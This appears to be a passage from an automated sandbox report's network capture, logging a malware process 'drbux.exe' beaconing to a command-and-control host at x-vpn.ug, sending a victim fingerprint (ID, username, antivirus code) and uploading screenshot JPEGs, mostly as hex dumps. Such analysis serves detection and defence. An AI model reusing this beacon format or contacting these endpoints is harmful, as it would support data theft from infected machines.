Jul 19, 2021 18:35:31.330866098 CEST	2998	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:31.330923080 CEST	3001	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:31.331271887 CEST	3004	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.6	49967	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:30.199580908 CEST	16837	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:30.199709892 CEST	16837	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:30.199934959 CEST	16847	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:30.200134993 CEST	16850	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:30.278856039 CEST	16852	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:30.278887987 CEST	16853	OUT	Data Raw: ba f5 28 ca cd 9f 62 38 18 e3 f0 af 05 b3 1a b5 9d da 8b 11 7b 05 c4 b0 97 5f 20 3a bb c7 8d c4 f1 c9 5c 2e 73 d3 8c f6 a9 db 5b d7 c4 31 cc fa 9e a6 22 90 90 8e d3 c9 b5 88 c6 40 39 e7 19 19 fa 8a c9 a9 5d f2 bd cd 53 56 5c cb 63 ab f8 85 ab 9b Data Ascii: (b8{_ :\.s[1"@9]SV\c:&Es?WObM<34,F,M+[:#CIU-zpq5'(E.RJRl.u?7(7R{)?7mWVso3z.*:O5OB0t;._"
Jul 19, 2021 18:36:30.278894901 CEST	16856	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:30.278939962 CEST	16864	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:30.279022932 CEST	16870	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:30.279076099 CEST	16876	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:30.357860088 CEST	16879	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:30.525196075 CEST	16936	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.6	49968	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:30.409934044 CEST	16927	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:30.494330883 CEST	16935	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.6	49969	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:30.717789888 CEST	16937	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:30.802093983 CEST	16937	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.6	49970	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:30.856748104 CEST	16938	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0827b34192ee9053c2713dfafb5576a4 Host: x-vpn.ug Content-Length: 101177 Cache-Control: no-cache
Jul 19, 2021 18:36:30.856867075 CEST	16938	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 38 32 37 62 33 34 31 39 32 65 65 39 30 35 33 63 32 37 31 33 64 66 61 66 62 35 35 37 36 61 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0827b34192ee9053c2713dfafb5576a4Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:30.857024908 CEST	16948	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:30.857188940 CEST	16951	OUT	Data Raw: 28 ae e7 c7 1f 0c 75 3f 07 2b dd 47 37 f6 86 9d 1c 82 29 2e 52 2d 86 37 2a a4 6e 5c 9c 03 bb 00 e7 af 1c 64 67 86 ad 23 25 25 74 44 a2 e2 ec c2 8a 28 aa 24 28 a2 8a 00 28 ae 8f c1 7e 1a 3e 28 d7 23 b1 07 ef 10 30 4e 07 72 49 f6 00 13 5e bb ff 00 Data Ascii: (u?+G7).R-7n\dg#%%tD($((~>(#0NrI^L:@o9\F2qQnz:Q:}?C6j$2g?\_-ezjZF\|?gT';iN:G4USsJ6
Jul 19, 2021 18:36:30.939487934 CEST	16951	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:30.939548016 CEST	16957	OUT	Data Raw: 8a f7 f4 3a bf 06 c1 e0 dd 43 46 9a 3d 47 49 ba 9b 50 b2 b4 9a ee e6 51 23 2a ba 2b 74 5c 38 e7 05 47 41 d2 b4 74 41 f0 eb 5e d6 20 d3 2d 74 0b e4 9a 6d db 5a 59 58 28 c2 96 39 c4 a4 f4 1e 95 27 c3 db 8d 5c 78 7a e1 13 5f d3 23 b6 4b 19 da de d9 Data Ascii: :CF=GIPQ#*+t\8GAtA^ -tmZYX(9'\xz_#KO2MI 0_xC-?q^#V3oe[hC".ssWQG[\+4d&(.+QebQ`\PbP!HqK(;
Jul 19, 2021 18:36:30.939588070 CEST	16959	OUT	Data Raw: 3b a8 bc b7 92 14 9d 06 e0 72 8e a1 94 f1 ea 08 aa fe 4c 7e 94 7b 39 3e bf d6 bf e7 f8 6b 70 f6 91 5d 3f ad 3f cb fc 8f 62 b6 d0 ac f4 1d 67 4c f2 f4 31 f6 e9 46 a1 66 c8 f1 4f 1a 5c 15 b6 ca b4 40 cc cc e1 8e e5 0d f2 86 0c 70 a0 80 47 92 4c ae Data Ascii: ;rL~{9>kp]??bgL1FfO\@pGLfq#<$Oa7&[$WQI*B#D]WrTi! p/:8`:4jd)y7x\H2sg91[OOxsT4^3$f!rH0
Jul 19, 2021 18:36:30.939604998 CEST	16967	OUT	Data Raw: 4b 69 a7 c5 14 f2 3d e3 2b a8 c8 0d 32 99 48 52 c7 f7 6e b9 db 91 9e 87 3b c4 71 c7 6f e1 f8 a2 b7 b3 bc b3 85 75 ab 8d b6 f7 90 98 a5 8f 30 40 70 54 b3 10 32 4e 32 c4 e3 19 26 b9 8f b3 47 b7 18 e9 4a b6 e8 1b 70 1c d3 f6 15 1b 57 96 df e7 71 7b Data Ascii: Ki=+2HRn;qou0@pT2N2&GJpWq{x+=+j~RGwwksq<,x$'8@&u]UNu%/n r y89\wkRhxi9s_q}b<:^]/V4HV82MrP#$\\|*`
Jul 19, 2021 18:36:30.939985991 CEST	16971	OUT	Data Raw: f6 53 5c eb ea 7a 8c 97 17 f7 12 5e 3c 93 ea 11 98 ae a4 90 06 32 a9 65 6c 64 f4 e5 57 a6 3a 63 a5 3a 3d 5f 52 86 7b 49 a3 b9 55 6b 48 1a da 15 11 26 c1 1b 06 0c a5 71 86 ce e6 ce 41 ce 79 a1 d2 a9 67 fd 77 ff 00 86 12 a9 0b af eb b7 eb a9 3e bf Data Ascii: S\z^<2eldW:c:=_R{IUkH&qAygw>qjFNr@6crI$&iOqus/"vEEP?mtMGS7u]!SQ$X)7]3)Xt5Nec\|s\2XbfEfD>Y(-{>'
Jul 19, 2021 18:36:30.940015078 CEST	16977	OUT	Data Raw: b2 5b 9e 9c 54 fb 17 d1 8f db ae a8 c9 a2 b5 4e 9f 19 e8 d5 19 d3 0f 66 14 bd 8c c3 db 40 ce c5 18 ab c7 4e 94 0e 39 a6 1b 29 87 f0 9a 5e ca 4b a1 4a a4 5f 52 a8 eb 4b 53 1b 79 17 f8 4f e5 51 94 61 d8 d2 e5 68 ae 64 c6 8a 5a 36 9a 5c 1a 56 0b 85 Data Ascii: [TNf@N9)^KJ_RKSyOQahdZ6\V8QP)q)hKE(!)TF)qA"7V&-:NbJQT!ii)$P)D)qE-Uq6bKEr=qF)16h9C\|6RdDE.*MmmI6b#t>mr!U7
Jul 19, 2021 18:36:31.027338028 CEST	16980	OUT	Data Raw: 8a ee c2 c4 da ea 51 94 11 43 6b 0c 4f 11 0c 1a 23 e6 2c 61 df 66 d0 30 4f 22 ab ff 00 c2 49 33 6b d6 da ac 96 8c ef 06 9a 2c 36 34 d9 dd fe 8e 61 df 9c 7b ee c6 3d b3 de b2 6e bb 4f cf fc bf cf f3 35 4a 8a df fa fe bf 43 53 4a f0 5d e3 41 14 9a Data Ascii: QCkO#,af0O"I3k,64a{=nO5JCSJ]Ai]N?690L3G++&I.Ra)/#{F>>7ooCurIE7iK!Lw?K*/=$v_^FoLh
Jul 19, 2021 18:36:31.027410984 CEST	16983	OUT	Data Raw: 1a 50 28 aa b2 22 ec 5c 81 d1 40 a5 0c 7d 69 29 68 b1 22 e4 fa d0 29 29 68 10 ea 5a 4a 29 08 70 a7 0a 6d 38 54 b2 59 22 d6 de 96 46 e5 c5 62 2d 6b e9 87 e6 5a e6 c4 2f 70 e8 c1 3f de 9e 92 87 1a 13 1f fa 66 6b c5 75 1f f5 f2 7f bc 6b d9 77 63 c3 Data Ascii: P("\@}i)h"))hZJ)pm8TY"Fb-kZ/p?fkukwco9h/zg?Cw:dZa?VrfnH%tr?BsMFy'[W7MU$KUdIEuP8KJToIwg!TU#9

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.6	49971	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:31.002681971 CEST	16977	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:31.100125074 CEST	17021	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.6	49973	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:31.318092108 CEST	17046	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:31.433475018 CEST	17062	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.6	49974	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:31.386516094 CEST	17047	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:31.386744976 CEST	17047	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:31.386979103 CEST	17057	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:31.387078047 CEST	17059	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:31.478981972 CEST	17071	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:31.479022026 CEST	17082	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:31.479043961 CEST	17086	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:31.482264042 CEST	17089	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
